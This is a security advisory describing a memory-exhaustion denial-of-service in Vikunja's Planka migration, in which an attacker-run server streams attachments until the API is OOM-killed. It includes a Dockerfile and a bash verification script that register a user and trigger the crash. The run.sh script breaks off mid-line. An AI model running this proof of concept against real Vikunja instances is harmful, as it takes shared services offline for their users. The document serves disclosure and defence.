Summary

Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Advisory details

Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API

Summary

The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.

Impact and affected scope

  • Type: Resource Exhaustion Dos
  • Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
  • Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
  • Verified revision: d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026
  • Affected release range: > 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproduced

A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.

Technical details

Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.

Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination

Relevant code:

  • pkg/routes/api/v2/migration_credentials.go:35
  • pkg/routes/api/v2/migration_shared.go:73
  • pkg/routes/api/v2/migration_shared.go:95
  • pkg/modules/migration/planka/client.go:37
  • pkg/modules/migration/planka/client.go:356
  • pkg/modules/migration/planka/fetch.go:29
  • pkg/modules/migration/planka/fetch.go:32
  • pkg/modules/migration/planka/convert.go:275
  • pkg/modules/migration/planka/convert.go:280
  • pkg/modules/migration/planka/convert.go:293
  • pkg/modules/migration/planka/planka.go:86
  • pkg/modules/migration/planka/planka.go:100

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27-bookworm AS builder

WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
    && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
    && go build -o /out/vikunja .

FROM golang:1.27-bookworm

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl python3 \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh

Create reproduction/verify.sh:

#!/usr/bin/env bash
set -euo pipefail

test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"

mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/

python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
  if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
    kill "${VIKUNJA_PID}" 2>/dev/null || true
    wait "${VIKUNJA_PID}" 2>/dev/null || true
  fi
  if kill -0 "${PLANKA_PID}" 2>/dev/null; then
    kill "${PLANKA_PID}" 2>/dev/null || true
    wait "${PLANKA_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

for _ in $(seq 1 90); do
  if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
    && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
    break
  fi
  sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null

REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
  -H 'Content-Type: application/json' \
  -d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
  http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
  -H 'Content-Type: application/json' \
  -d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
  http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"

BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
  -H "Authorization: Bearer ${TOKEN}" \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
  http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"

for _ in $(seq 1 90); do
  if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
    break
  fi
  sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
  echo "[PoC] target survived unexpectedly" >&2
  tail -n 80 /work/vikunja.log >&2
  tail -n 80 /work/planka.log >&2
  exit 1
fi

set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"

test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
  echo "[PoC] health endpoint remained available after target exit" >&2
  exit 1
fi

kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
  SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREAT

References